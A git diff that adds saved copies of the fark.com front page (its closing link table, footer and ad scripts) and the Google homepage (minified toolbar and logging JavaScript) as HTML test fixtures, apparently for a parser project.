+ <td><a target="_blank" href="http://www.fark.com/goto/7554800" rel="nofollow" onclick="_gaq.push(['_trackEvent', 'Also on Fark Links', 'Outbound Click', 'Sports']);">Thursday
+ Night MMA: Bellator 86 featuring Ben Askren vs Karl Amoussou for the
+welterweight title and the return of totally not 'roiding King Mo Lawal.
+ Prelims at 8 PM ET on Spike.com, main card on Spike TV at 10 PM ET</a> ( <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554800" target="_blank">bellator.com</a> ) » <a href="http://www.fark.com/comments/7554800/Thursday-Night-MMA-Bellator-86-featuring-Ben-Askren-vs-Karl-Amoussou-for-welterweight-title-the-return-of-totally-not-roiding-King-Mo-Lawal-Prelims-at-8-PM-ET-on-Spikecom-main-card-on-Spike-TV-at-10-PM-ET" target="_top" onclick="_gaq.push(['_trackEve [...]
+ </tr> <tr>
+ <td class="alsoOnFarkLabel"><a href="http://www.fark.com/business/">Business</a></td>
+ <td><a target="_blank" href="http://www.fark.com/goto/7554883" rel="nofollow" onclick="_gaq.push(['_trackEvent', 'Also on Fark Links', 'Outbound Click', 'Business']);">Restaurants are tired of diners taking pictures of every freakin' plate of food they serve</a> ( <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554883" target="_blank">nytimes.com</a> ) » <a href="http://www.fark.com/comments/7554883/Restaurants-are-tired-of-diners-taking-pic [...]
+ </tr> <tr>
+ <td class="alsoOnFarkLabel"><a href="http://www.fark.com/geek/">Geek</a></td>
+ <td><a target="_blank" href="http://www.fark.com/goto/7555085" rel="nofollow" onclick="_gaq.push(['_trackEvent', 'Also on Fark Links', 'Outbound Click', 'Geek']);">How to build a home - 1. Print blueprints. 2. Print house. 3. Profit</a> ( <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555085" target="_blank">timeslive.co.za</a> ) » <a href="http://www.fark.com/comments/7555085/How-to-build-a-home-1-Print-blueprints-2-Print-house-3-Profit" t [...]
+ </tr> <tr>
+ <td class="alsoOnFarkLabel"><a href="http://www.fark.com/entertainment/">Entertainment</a></td>
+ <td><a target="_blank" href="http://www.fark.com/goto/7554941" rel="nofollow" onclick="_gaq.push(['_trackEvent', 'Also on Fark Links', 'Outbound Click', 'Entertainment']);">Rasta
+ Millennium Council concerned about the Artist Formerly Known as Snoop
+Dogg, Snoop Lion, may not be taking it all seriously. "Smoking weed and
+loving Bob Marley and reggae music is not what defines the Rastafari
+Indigenous Culture"</a> ( <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554941" target="_blank">guardian.co.uk</a> ) » <a href="http://www.fark.com/comments/7554941/Rasta-Millennium-Council-concerned-about-Artist-Formerly-Known-as-Snoop-Dogg-Snoop-Lion-may-not-be-taking-it-all-seriously-Smoking-weed-loving-Bob-Marley-reggae-music-is-not-what-defines-Rastafari-Indigenous-Culture" target="_top" onclick="_gaq.push(['_trackEvent', 'Also on Fark Links', 'Interna [...]
+ </tr> <tr>
+ <td class="alsoOnFarkLabel"><a href="http://www.fark.com/politics/">Politics</a></td>
+ <td><a target="_blank" href="http://www.fark.com/goto/7554648" rel="nofollow" onclick="_gaq.push(['_trackEvent', 'Also on Fark Links', 'Outbound Click', 'Politics']);">Obama
+ spokesman claims Obama "would object" to the "annihilation" of the
+Republican Party, proving once again that he is out of the mainstream
+and not in touch with what the average American really wants</a> ( <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554648" target="_blank">news.yahoo.com</a> ) » <a href="http://www.fark.com/comments/7554648/Obama-spokesman-claims-Obama-would-object-to-annihilation-of-Republican-Party-proving-once-again-that-he-is-out-of-mainstream-not-in-touch-with-what-average-American-really-wants" target="_top" onclick="_gaq.push(['_trackEvent', 'Also on Fark Links', 'Int [...]
+ </tr> <tr>
+ <td class="alsoOnFarkLabel"><a href="http://www.fark.com/video/">Video</a></td>
+ <td><a target="_blank" href="http://www.fark.com/goto/7555333" rel="nofollow" onclick="_gaq.push(['_trackEvent', 'Also on Fark Links', 'Outbound Click', 'Video']);">Watch this squirrel deliver the greatest "oh sh*t" face in the history of nature documentaries</a> ( <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555333" target="_blank">io9.com</a> ) » <a href="http://www.fark.com/comments/7555333/Watch-this-squirrel-deliver-greatest-oh-sht-f [...]
+ </tr> <tr>
+ <td class="alsoOnFarkLabel"><a href="http://www.fark.com/farkus/">FarkUs</a></td>
+ <td><a target="_blank" href="http://www.fark.com/goto/7554409" rel="nofollow" onclick="_gaq.push(['_trackEvent', 'Also on Fark Links', 'Outbound Click', 'FarkUs']);">Here are six movie crossovers that probably should, or should not, be made. Subby would like to see #1 and #2 on this list</a> ( <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554409" target="_blank">cracked.com</a> ) » <a href="http://www.fark.com/comments/7554409/Here-are-six [...]
+ </tr> </tbody>
+ </table> <ul id="footerFarkLinks">
+ <li>Fark :: <a href="http://www.fark.com/">Main</a> | <a href="http://www.fark.com/sports/">Sports</a> | <a href="http://www.fark.com/business/">Business</a> | <a href="http://www.fark.com/geek/">Geek</a> | <a href="http://www.fark.com/entertainment/">Entertainment</a> | <a href="http://www.fark.com/politics/">Politics</a> | <a href="http://www.fark.com/video/">Video</a> | <a href="http://www.fark.com/farkus/">FarkUs</a></li>
+ <li>Total Fark :: <a href="http://total.fark.com/">TotalFark</a> | <a href="http://total.fark.com/tfdiscussion/">TF Discussion</a> | <a href="http://total.fark.com/all/">All</a> | <a href="http://total.fark.com/commented/">Commented</a> | <a href="http://total.fark.com/linkvote/">Top Voted</a> | <a href="http://total.fark.com/greenlit/">Greenlit</a></li>
+ <li>FArQ :: <a href="http://www.fark.com/farq/about#What_is_Fark.3F">About Us</a> | <a href="http://www.fark.com/farq/faq#Quick_Answers">Quick Answers</a> | <a href="http://www.fark.com/farq/services#What_is_FarkIt.3F">FarkIt</a> | <a href="http://www.fark.com/farq/posting#Posting_Rules">Posting Rules</a> | <a href="http://www.fark.com/farq/farkisms#Farkisms">Farkisms</a></li>
+ <li>Contests :: <a href="http://www.fark.com/topic/photoshop">Photoshop</a> | <a href="http://www.fark.com/topic/farktography">Farktography</a> | <a href="http://www.fark.com/topic/videoedit">VideoEdit</a> | <a href="http://www.fark.com/topic/caption">Caption</a></li>
+ <li>Buy Fark :: <a href="http://www.fark.com/farq/shirts#Headline_T-shirt_Questions">Headline Shirts</a> | <a href="http://www.amazon.com/Its-Not-News-Fark-Media/dp/1592402917/sr=8-1/qid=1168639219/ref=pd_bbs_sr_1/102-1500276-2229705?ie=UTF8&s=books&tag=farkcom-20">Fark Book</a> | <a href="https://shop.fark.com/">Fark Store</a></li>
+ </ul>
+ <p class="submitLinkcontainer"><a href="http://www.fark.com/submit/" class="submitLink">Submit a Link »</a></p>
+ <p id="copyrightInfo">
+ Copyright © 1999 - 2013 Fark, Inc | Last updated: Jan 25 2013 01:50:17<br>
+ <a href="http://www.fark.com/feedback">Contact Us</a> | <a href="http://www.fark.com/feedback/error">Report a bug/error msg</a> | <a href="http://www.fark.com/advertise">Advertise on Fark</a> | <a href="http://www.fark.com/farq/legal">Terms of service/legal/privacy policy</a><br>
+<img src="Filer_for_fark/ll.gif" alt="" height="1" width="4"> </p>
+
+</div> </td>
+</tr>
+</tbody></table> <!-- newLayoutTable -->
+</div> <!-- container -->
+<!-- Google +1 script -->
+<script gapi_processed="true" type="text/javascript" src="Filer_for_fark/plusone.js"></script>
+<!-- Facebook API script (for Like button) -->
+<div id="fb-root"></div>
+<script type="text/javascript" src="Filer_for_fark/all.js"></script>
+<script type="text/javascript">
+ trackFacebook();
+</script>
+
+ <noscript>
+<img src="http://img.fark.net/imagesnoc/trans.gif?usertype=Lurker" width="16" height="1" alt="">
+</noscript>
+
+ <div class="ad_container bottom">
+ <div id="bottomAd728x90"> <!-- begin ad tag (leaderboard2) --> <script type="text/javascript">
+ googletag.cmd.push(function() { googletag.display('bottomAd728x90'); });
+ </script> <iframe style="border: 0px none;" marginheight="0" marginwidth="0" name="google_ads_iframe_/1055466/MainPage-Leaderboard-Lower_0" id="google_ads_iframe_/1055466/MainPage-Leaderboard-Lower_0" frameborder="0" height="90" scrolling="no" width="728"></iframe><iframe style="border: 0px none; visibility: hidden; display: none;" marginheight="0" marginwidth="0" name="google_ads_iframe_/1055466/MainPage-Leaderboard-Lower_0__hidden__" id="google_ads_iframe_/1055466/MainPage-Leaderboa [...]
+</div><br><br>
+
+<script type="text/javascript" src="Filer_for_fark/fark.js"></script>
+<div class=" fb_reset" id="fb-root"><div style="position: absolute; top: -10000px; height: 0px; width: 0px;"><div><iframe src="Filer_for_fark/xd_arbiter.htm" style="border: medium none;" tab-index="-1" title="Facebook Cross Domain Communication Frame" aria-hidden="true" allowtransparency="true" frame-border="0" name="fb_xdm_frame_http" scrolling="no"></iframe><iframe src="Filer_for_fark/xd_arbiter_002.htm" style="border: medium none;" tab-index="-1" title="Facebook Cross Domain Communica [...]
\ No newline at end of file
diff --git a/src/test/resources/s/google.com.html b/src/test/resources/s/google.com.html
new file mode 100644
index 0000000..cf71a4a
--- /dev/null
+++ b/src/test/resources/s/google.com.html
@@ -0,0 +1,83 @@
+<!DOCTYPE html>
+<!-- saved from url=(0022)https://www.google.no/ -->
+<html itemscope="itemscope" itemtype="http://schema.org/WebPage"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta itemprop="image" content="/images/google_favicon_128.png"><meta id="mref" name="referrer" content="origin"><title>Google</title><script>(function(){
+window.google={kEI:"XikCUfbgFaON4AShs4CoAw",getEI:function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a.parentNode;return b||google.kEI},https:function(){return"https:"==window.location.protocol},kEXPI:"31216,39523,39978,3300030,3300102,3300125,3300133,3300136,3300137,3300146,3310046,4000116,4000473,4001569,4001700,4001959,4001975,4002001,4002205,4002378,4002436,4002524,4002562,4002700,4002832,4002858,4002928,4003035,4003053,4003215,4003316,4003318,4003335,4003340,4 [...]
+b,c,i){var d=new Image,f=google.lc,e=google.li,g="";d.onerror=d.onload=d.onabort=function(){delete f[e]};f[e]=d;!c&&-1==b.search("&ei=")&&(g="&ei="+google.getEI(i));c=c||"/gen_204?atyp=i&ct="+a+"&cad="+b+g+"&zx="+google.time();a=/^http:/i;a.test(c)&&google.https()?(google.ml(Error("GLMM"),!1,{src:c}),delete f[e]):(d.src=c,google.li=e+1)},lc:[],li:0,j:{en:1,l:function(){google.fl=!0},e:function(){google.fl=!0},b:!!location.hash&&!!location.hash.match("[#&]((q|fp)=|tbs=simg|tbs=sbi)"),bv:2 [...]
+pm:"p",pl:[],mc:0,sc:0.5,u:"ff17f4e7"},Toolbelt:{},y:{},x:function(a,b){google.y[a.id]=[a,b];return!1},load:function(a,b){google.x({id:"l"+a},function(){google.load(a,b)})}};
+
+window.onpopstate=function(){google.j.psc=1};for(var h="ad api bc is p pa ac pc pah ph sa sifp slp spf spn xx zc zz".split(" "),j=0,k;k=h[j++];)(function(a){google.j[a]=function(){google.j.pl.push([a,arguments])}})(k);
+window.chrome||(window.chrome={}),window.chrome.sv=2.00,window.chrome.searchBox||(window.chrome.searchBox={}),window.chrome.searchBox.onsubmit=function(){google.x({id:"psyapi"},function(){var a=encodeURIComponent(window.chrome.searchBox.value);google.nav.search({q:a,sourceid:"chrome-psyapi2"})})};})();
+(function(){var d=!1;google.sn="webhp";google.timers={};google.startTick=function(a,b){google.timers[a]={t:{start:google.time()},bfr:!!b}};google.tick=function(a,b,h){google.timers[a]||google.startTick(a);google.timers[a].t[b]=h||google.time()};google.startTick("load",!0);
+try{google.pt=window.chrome&&window.chrome.csi&&Math.floor(window.chrome.csi().pageT);}catch(e){}})();
+(function(){'use strict';var d=null,j=this;var l="undefined"!=typeof navigator&&/Macintosh/.test(navigator.userAgent);var q="undefined"!=typeof navigator&&/iPhone|iPad|iPod/.test(navigator.userAgent),r=/\s*;\s*/,t=function(g){var b=s;if(!b.h.hasOwnProperty(g)){var n,K=b.i;n=function(c){var a;a:{a=g;"click"==a&&(l&&c.metaKey||!l&&c.ctrlKey)&&(a="clickmod");for(var u=c.srcElement||c.target,e=u;e&&e!=this;e=e.parentNode){var F=e,v,h=F;v=a;var p=h.__jsaction;if(!p){p={};K&&(h.__jsaction=p);v [...]
+h[i];if(k){var f=k.indexOf(":"),m=-1!=f,w=m?k.substr(0,f).replace(/^\s+/,"").replace(/\s+$/,""):"click",k=m?k.substr(f+1).replace(/^\s+/,"").replace(/\s+$/,""):k;p[w]=k}}}if(v=p[v]){a={eventType:a,event:c,targetElement:u,action:v,actionElement:F};break a}}a=d}a&&(c.stopPropagation?c.stopPropagation():c.cancelBubble=!0,"A"==a.actionElement.tagName&&"click"==g&&(c.preventDefault?c.preventDefault():c.returnValue=!1),b.d?b.d(a):(u=a,c=(e=j.document)&&!e.createEvent&&e.createEventObject?e.cre [...]
+window.rwt=function(a,g,h,m,n,i,c,o,j,d){return true};
+(function(){try{var e=!0,h=null,i=!1;var aa=function(a,b,c,d){d=d||{};d._sn=["cfg",b,c].join(".");window.gbar.logger.ml(a,d)};var m=window.gbar=window.gbar||{},p=window.gbar.i=window.gbar.i||{},ba;function _tvn(a,b){var c=parseInt(a,10);return isNaN(c)?b:c}function _tvf(a,b){var c=parseFloat(a);return isNaN(c)?b:c}function _tvv(a){return!!a}function q(a,b,c){(c||m)[a]=b}m.bv={n:_tvn("2",0),r:"r_gc.r_pw.r_qf.",f:".36.40.49.",e:"31216,3700062",m:_tvn("2",1)};var ca=function(a){return funct [...]
+q("sb",da);q("kn",ea);p.a=_tvv;p.b=_tvf;p.c=_tvn;p.i=aa;var r=window.gbar.i.i;var t=function(){},v=function(){},w=function(a){var b=new Image,c=fa;b.onerror=b.onload=b.onabort=function(){try{delete ga[c]}catch(a){}};ga[c]=b;b.src=a;fa=c+1},ga=[],fa=0;q("logger",{il:v,ml:t,log:w});var x=window.gbar.logger;var y={},ha={},A=[],ia=p.b("0.1",0.1),ja=p.a("1",e),ka=function(a,b){A.push([a,b])},la=function(a,b){y[a]=b},ma=function(a){return a in y},B={},C=function(a,b){B[a]||(B[a]=[]);B[a].push( [...]
+J=function(a){for(var b=0,c;(c=A[b])&&c[0]!=a;++b);c&&(!c[1].l&&!c[1].s)&&(c[1].s=e,F(2,a),c[1].url&&na(c[1].url,a),c[1].libs&&G&&G(c[1].libs))},oa=function(a){C("gc",a)},pa=h,qa=function(a){pa=a},F=function(a,b,c){if(pa){a={t:a,b:b};if(c)for(var d in c)a[d]=c[d];try{pa(a)}catch(g){}}};q("mdc",y);q("mdi",ha);q("bnc",A);q("qGC",oa);q("qm",E);q("qd",B);q("lb",J);q("mcf",la);q("bcf",ka);q("aq",C);q("mdd","");q("has",ma);q("trh",qa);q("tev",F);if(p.a("1")){var ra=p.a("1"),sa=p.a(""),ta=p.a(" [...]
+K.m="";K.l=[];ra||A.push(["gl",{url:"//ssl.gstatic.com/gb/js/abc/glm_e7bb39a7e1a24581ff4f8d199678b1b9.js"}]);var ya={pu:sa,sh:"",si:ta};y.gl=ya;q("load",va,ua);q("dgl",va);q("agl",xa);p.o=ra};var za=p.b("0.1",0.001),Aa=0;
+function _mlToken(a,b){try{if(1>Aa){Aa++;var c,d=a,g=b||{},f=encodeURIComponent,j="es_plusone_gc_20121207.0_p1",k=["//www.google.com/gen_204?atyp=i&zx=",(new Date).getTime(),"&jexpid=",f("37102"),"&srcpg=",f("prop=1"),"&jsr=",Math.round(1/za),"&ogev=",f("XikCUcaYFseM4gSar4GwAQ"),"&ogf=",m.bv.f,"&ogrp=",f(""),"&ogv=",f("1358516199.1358892337"),j?"&oggv="+f(j):"","&ogd=",f("no"),"&ogl=",f("en")];g._sn&&(g._sn="og."+
+g._sn);for(var l in g)k.push("&"),k.push(f(l)),k.push("="),k.push(f(g[l]));k.push("&emsg=");k.push(f(d.name+":"+d.message));var n=k.join("");Ba(n)&&(n=n.substr(0,2E3));c=n;var u=window.gbar.logger._aem(a,c);w(u)}}catch(H){}}var Ba=function(a){return 2E3<=a.length},Ca=function(a,b){return b};function Da(a){t=a;q("_itl",Ba,x);q("_aem",Ca,x);q("ml",t,x);a={};y.er=a}p.a("")?Da(function(a){throw a;}):p.a("1")&&Math.random()<za&&Da(_mlToken);var _E="left",M=function(a,b){var c=a.className;L(a, [...]
+var La=function(){for(var a=[],b=0,c;c=Fa[b];++b)(c=document.getElementById(c))&&a.push(c);return a},Ma=function(){var a=La();return 0<a.length?a[0]:h},Na=function(){return document.getElementById("gb_70")},O={},P={},Oa={},Q={},R=void 0,Ta=function(a,b){try{var c=document.getElementById("gb");M(c,"gbpdjs");S();Pa(document.getElementById("gb"))&&M(c,"gbrtl");if(b&&b.getAttribute){var d=b.getAttribute("aria-owns");if(d.length){var g=document.getElementById(d);if(g){var f=b.parentNode;if(R= [...]
+N(f,"gbto");else{if(R){var j=document.getElementById(R);if(j&&j.getAttribute){var k=j.getAttribute("aria-owner");if(k.length){var l=document.getElementById(k);l&&l.parentNode&&N(l.parentNode,"gbto")}}}Qa(g)&&Ra(g);R=d;M(f,"gbto")}}}}E(function(){m.tg(a,b,e)});Sa(a)}catch(n){r(n,"sb","tg")}},Ua=function(a){E(function(){m.close(a)})},Va=function(a){E(function(){m.rdd(a)})},Pa=function(a){var b,c="direction",d=document.defaultView;d&&d.getComputedStyle?(a=d.getComputedStyle(a,""))&&(b=a[c]) [...]
+a.currentStyle[c]:a.style[c];return"rtl"==b},Xa=function(a,b,c){if(a)try{var d=document.getElementById("gbd5");if(d){var g=d.firstChild,f=g.firstChild,j=document.createElement("li");j.className=b+" gbmtc";j.id=c;a.className="gbmt";j.appendChild(a);if(f.hasChildNodes()){c=[["gbkc"],["gbf","gbe","gbn"],["gbkp"],["gbnd"]];for(var d=0,k=f.childNodes.length,g=i,l=-1,n=0,u;u=c[n];n++){for(var H=0,I;I=u[H];H++){for(;d<k&&L(f.childNodes[d],I);)d++;if(I==b){f.insertBefore(j,f.childNodes[d]||h);g= [...]
+1<f.childNodes.length){var T=f.childNodes[d+1];!L(T.firstChild,"gbmh")&&!Wa(T,u)&&(l=d+1)}else if(0<=d-1){var U=f.childNodes[d-1];!L(U.firstChild,"gbmh")&&!Wa(U,u)&&(l=d)}break}0<d&&d+1<k&&d++}if(0<=l){var s=document.createElement("li"),D=document.createElement("div");s.className="gbmtc";D.className="gbmt gbmh";s.appendChild(D);f.insertBefore(s,f.childNodes[l])}m.addHover&&m.addHover(a)}else f.appendChild(j)}}catch(z){r(z,"sb","al")}},Wa=function(a,b){for(var c=b.length,d=0;d<c;d++)if(L( [...]
+return i},Ya=function(a,b,c){Xa(a,b,c)},Za=function(a,b){Xa(a,"gbe",b)},$a=function(){E(function(){m.pcm&&m.pcm()})},ab=function(){E(function(){m.pca&&m.pca()})},bb=function(a,b,c,d,g,f,j,k,l,n){E(function(){m.paa&&m.paa(a,b,c,d,g,f,j,k,l,n)})},cb=function(a,b){O[a]||(O[a]=[]);O[a].push(b)},db=function(a,b){P[a]||(P[a]=[]);P[a].push(b)},eb=function(a,b){Oa[a]=b},fb=function(a,b){Q[a]||(Q[a]=[]);Q[a].push(b)},Sa=function(a){a.preventDefault&&a.preventDefault();a.returnValue=i;a.cancelBubb [...]
+h,Ra=function(a,b){S();if(a){hb(a,"Opening…");V(a,e);var c="undefined"!=typeof b?b:1E4,d=function(){ib(a)};gb=window.setTimeout(d,c)}},jb=function(a){S();a&&(V(a,i),hb(a,""))},ib=function(a){try{S();var b=a||document.getElementById(R);b&&(hb(b,"This service is currently unavailable.%1$sPlease try again later.","%1$s"),V(b,e))}catch(c){r(c,"sb","sdhe")}},hb=function(a,b,c){if(a&&b){var d=Qa(a);if(d){if(c){d.innerHTML="";b=b.split(c);c=0;for(var g;g=b[c];c++){var f=document.createEl [...]
+b;V(a,e)}}},V=function(a,b){var c=void 0!==b?b:e;c?M(a,"gbmsgo"):N(a,"gbmsgo")},Qa=function(a){for(var b=0,c;c=a.childNodes[b];b++)if(L(c,"gbmsg"))return c},S=function(){gb&&window.clearTimeout(gb)},kb=function(a){var b="inner"+a;a="offset"+a;return window[b]?window[b]:document.documentElement&&document.documentElement[a]?document.documentElement[a]:0},lb=function(){return i};q("so",Ma);q("sos",La);q("si",Na);q("tg",Ta);q("close",Ua);q("rdd",Va);q("addLink",Ya);q("addExtraLink",Za);q("pcm",$a);
+q("pca",ab);q("paa",bb);q("ddld",Ra);q("ddrd",jb);q("dderr",ib);q("rtl",Pa);q("bh",O);q("abh",cb);q("dh",P);q("adh",db);q("ch",Q);q("ach",fb);q("eh",Oa);q("aeh",eb);ba=p.a("")?Ja:Ka;q("qs",ba);q("setContinueCb",Ha);q("pc",Ia);q("bsy",lb);p.d=Sa;p.j=kb;var mb={};y.base=mb;A.push(["m",{url:"//ssl.gstatic.com/gb/js/sem_02745283c6d09baf2ddd04f5e47ece34.js"}]);m.sg={c:"1"};q("wg",{rg:{}});var nb={tiw:p.c("15000",0),tie:p.c("30000",0)};y.wg=nb;var ob={thi:p.c("10000",0),thp:p.c("180000",0),tho [...]
+j;++f)g=g[c[f]]=g[c[f]]||{};return g[c[f]]=d};xb(sb,"pw.clk");xb(sb,"pw.hvr");q("su",ub,m.pw)};var yb=[1,2,3,4,5,6,9,10,11,13,14,28,29,30,34,35,37,38,39,40,41,42,43,500];var zb=p.b("0.001",1E-4),Ab=p.b("0.01",1),Bb=i,Cb=i;if(p.a("1")){var Db=Math.random();Db<=zb&&(Bb=e);Db<=Ab&&(Cb=e)}var W=h;
+function Eb(a,b){var c=zb,d=Bb,g;g=a;if(!W){W={};for(var f=0;f<yb.length;f++){var j=yb[f];W[j]=e}}if(g=!!W[g])c=Ab,d=Cb;if(d){var d=encodeURIComponent,k="es_plusone_gc_20121207.0_p1",l;m.rp?(l=m.rp(),l="-1"!=l?l:""):l="";g=(new Date).getTime();var f=a,j=d("37102"),n=d("XikCUcaYFseM4gSar4GwAQ"),u=m.bv.f,H=d("1");l=d(l);var c=Math.round(1/c),I=d("1358516199.1358892337"),k=k?"&oggv="+d(k):"",T=d("no"),
+U=d("en"),s,D=0;s=function(a,b){p.a(b)&&(D|=a)};s(1,"1");s(2,"");s(4,"1");s(8,"");s=D;g=["//www.google.com/gen_204?atyp=i&zx=",g,"&oge=",f,"&ogex=",j,"&ogev=",n,"&ogf=",u,"&ogp=",H,"&ogrp=",l,"&ogsr=",c,"&ogv=",I,k,"&ogd=",T,"&ogl=",U,"&ogus=",s];if(b){"ogw"in b&&(g.push("&ogw="+b.ogw),delete b.ogw);var z,f=b,j=[];for(z in f)0!=j.length&&j.push(","),j.push(Fb(z)),j.push("."),j.push(Fb(f[z]));z=j.join("");""!=z&&(g.push("&ogad="),g.push(d(z)))}w(g.join(""))}}
+function Fb(a){"number"==typeof a&&(a+="");return"string"==typeof a?a.replace(".","%2E").replace(",","%2C"):a}v=Eb;q("il",v,x);var Gb={};y.il=Gb;var Hb=function(a,b,c,d,g,f,j,k,l,n){E(function(){m.paa(a,b,c,d,g,f,j,k,l,n)})},Ib=function(){E(function(){m.prm()})},Jb=function(a){E(function(){m.spn(a)})},Kb=function(a){E(function(){m.sps(a)})},Lb=function(a){E(function(){m.spp(a)})},Mb={"27":"//lh5.googleusercontent.com/-5FJJqX6av14/AAAAAAAAAAI/AAAAAAAAAAA/1JdEyh_OVoc/s27-c/photo.jpg","27": [...]
+Ob=function(){E(function(){m.spd()})};q("spn",Jb);q("spp",Lb);q("sps",Kb);q("spd",Ob);q("paa",Hb);q("prm",Ib);cb("gbd4",Ib);
+if(p.a("1")){var Pb={d:p.a(""),e:"kristian.rosenvold at zenior.no",sanw:p.a(""),p:"//lh5.googleusercontent.com/-5FJJqX6av14/AAAAAAAAAAI/AAAAAAAAAAA/1JdEyh_OVoc/s96-c/photo.jpg",cp:"1",xp:p.a("1"),mg:"%1$s (delegated)",md:"%1$s (default)",mh:"276",s:"1",pp:Nb,ppl:p.a(""),ppa:p.a("1"),ppm:"Google+ page"};
+y.prf=Pb};var X,Qb,Y,Rb,Z=0,Sb=function(a,b,c){if(a.indexOf)return a.indexOf(b,c);if(Array.indexOf)return Array.indexOf(a,b,c);for(c=c==h?0:0>c?Math.max(0,a.length+c):c;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1},$=function(a,b){return-1==Sb(a,Z)?(r(Error(Z+"_"+b),"up","caa"),i):e},Ub=function(a,b){$([1,2],"r")&&(X[a]=X[a]||[],X[a].push(b),2==Z&&window.setTimeout(function(){b(Tb(a))},0))},Vb=function(a,b,c){if($([1],"nap")&&c){for(var d=0;d<c.length;d++)Qb[c[d]]=e;m.up.spl(a,b, [...]
+b,c){if($([1],"aop")&&c){if(Y)for(var d in Y)Y[d]=Y[d]&&-1!=Sb(c,d);else{Y={};for(d=0;d<c.length;d++)Y[c[d]]=e}m.up.spl(a,b,"aop",c)}},Xb=function(){try{if(Z=2,!Rb){Rb=e;for(var a in X)for(var b=X[a],c=0;c<b.length;c++)try{b[c](Tb(a))}catch(d){r(d,"up","tp")}}}catch(g){r(g,"up","mtp")}},Tb=function(a){if($([2],"ssp")){var b=!Qb[a];Y&&(b=b&&!!Y[a]);return b}};Rb=i;X={};Qb={};Y=h;
+var Z=1,Yb=function(){try{return!!window.localStorage&&"object"==typeof window.localStorage}catch(a){return i}},Zb=function(a){return a&&a.style&&a.style.g&&"undefined"!=typeof a.load},$b=function(a,b,c,d){try{d||(b="og-up-"+b),Yb()?window.localStorage.setItem(b,c):Zb(a)&&(a.setAttribute(b,c),a.save(a.id))}catch(g){g.code!=DOMException.QUOTA_EXCEEDED_ERR&&r(g,"up","spd")}},ac=function(a,b,c){try{c||(b="og-up-"+b);if(Yb())return window.localStorage.getItem(b);if(Zb(a))return a.load(a.id), [...]
+DOMException.QUOTA_EXCEEDED_ERR&&r(d,"up","gpd")}return""},bc=function(a,b,c){a.addEventListener?a.addEventListener(b,c,i):a.attachEvent&&a.attachEvent("on"+b,c)},cc=function(a){for(var b=0,c;c=a[b];b++){var d=m.up;c=c in d&&d[c];if(!c)return i}return e};q("up",{r:Ub,nap:Vb,aop:Wb,tp:Xb,ssp:Tb,spd:$b,gpd:ac,aeh:bc,aal:cc});var dc=function(a,b){a[b]=function(c){var d=arguments;m.qm(function(){a[b].apply(this,d)})}};dc(m.up,"sl");dc(m.up,"si");dc(m.up,"spl");
+m.mcf("up",{sp:p.b("0.01",1)});function ec(){function a(){for(var b;(b=f[j++])&&!("m"==b[0]||b[1].auto););b&&(F(2,b[0]),b[1].url&&na(b[1].url,b[0]),b[1].libs&&G&&G(b[1].libs));j<f.length&&setTimeout(a,0)}function b(){0<g--?setTimeout(b,0):a()}var c=p.a("1"),d=p.a(""),g=3,f=A,j=0,k=window.gbarOnReady;if(k)try{k()}catch(l){r(l,"ml","or")}if(d)q("ldb",a);else if(c){var c=window,d="load",n=b,k="on"+d;if(c.addEventListener)c.addEventListener(d,n,i);else if(c.attachEvent)c.attachEvent(k,
+n);else{var u=c[k];c[k]=function(){var a=u.apply(this,arguments),b=n.apply(this,arguments);return void 0==a?b:void 0==b?a:b&&a}}}else b()}q("rdl",ec);}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+(function(){try{var b=window.gbar;var c=function(a){return!(/AppleWebKit\/.+(?:Version\/[35]\.|Chrome\/[01]\.)/.test(a)||-1!=a.indexOf("Firefox/3.5."))},d=c;b.bs_w=function(){return window.navigator&&window.navigator.userAgent?d(window.navigator.userAgent):!1};}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+(function(){try{var a=window.gbar;a.mcf("sf",{});}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"cfg.init"});}})();
+(function(){try{var aa=window.gbar.i.i;var a=window.gbar;var e=a.i;var i,l;var s=function(b,d){aa(b,"es",d)},t=function(b){return document.getElementById(b)},u=function(b,d){var f=Array.prototype.slice.call(arguments,1);return function(){var c=Array.prototype.slice.call(arguments);c.unshift.apply(c,f);return b.apply(this,c)}},v=void 0,w=void 0,ga=e.c("840"),ha=e.c("640");e.c("840");
+var ia=e.c("640"),ja=e.c("590"),ka=e.c("1514"),la=e.c("1474");e.c("1474");var ma=e.c("1252"),na=e.c("1060"),oa=e.c("995"),pa=e.c("851"),y={},z={},A={},B={},C={},D={},E={};y.h=e.c("102");y.m=e.c("44");y.f=e.c("126");
+z.h=e.c("102");z.m=e.c("44");z.f=e.c("126");A.h=e.c("102");A.m=e.c("44");A.f=e.c("126");B.h=e.c("102");B.m=e.c("28");B.f=e.c("126");C.h=e.c("102");C.m=e.c("16");C.f=e.c("126");D.h=e.c("102");
+D.m=e.c("16");D.f=e.c("126");E.h=e.c("102");E.m=e.c("12");E.f=e.c("126");
+var F=e.c("16"),H=e.c("572"),qa=e.c("434"),ra=e.c("319"),sa=e.c("572"),ta=e.c("572"),ua=e.c("572"),va=e.c("434"),wa=e.c("319"),xa=e.c("126"),ya=e.c("126"),za=e.c("126"),
+Aa=e.c("126"),Ba=e.c("126"),Ca=e.c("126"),Da=e.c("126"),Ea=e.c("15"),Fa=e.c("15"),I=e.c("15"),Ga=e.c("15"),Ha=e.c("6"),Ia=e.c("6"),Ja=e.c("6"),
+Ka=e.c("44"),La=e.c("44"),Ma=e.c("44"),Na=e.c("28"),Oa=e.c("16"),Pa=e.c("16"),Qa=e.c("12"),Ra=e.c("30");e.a("1");
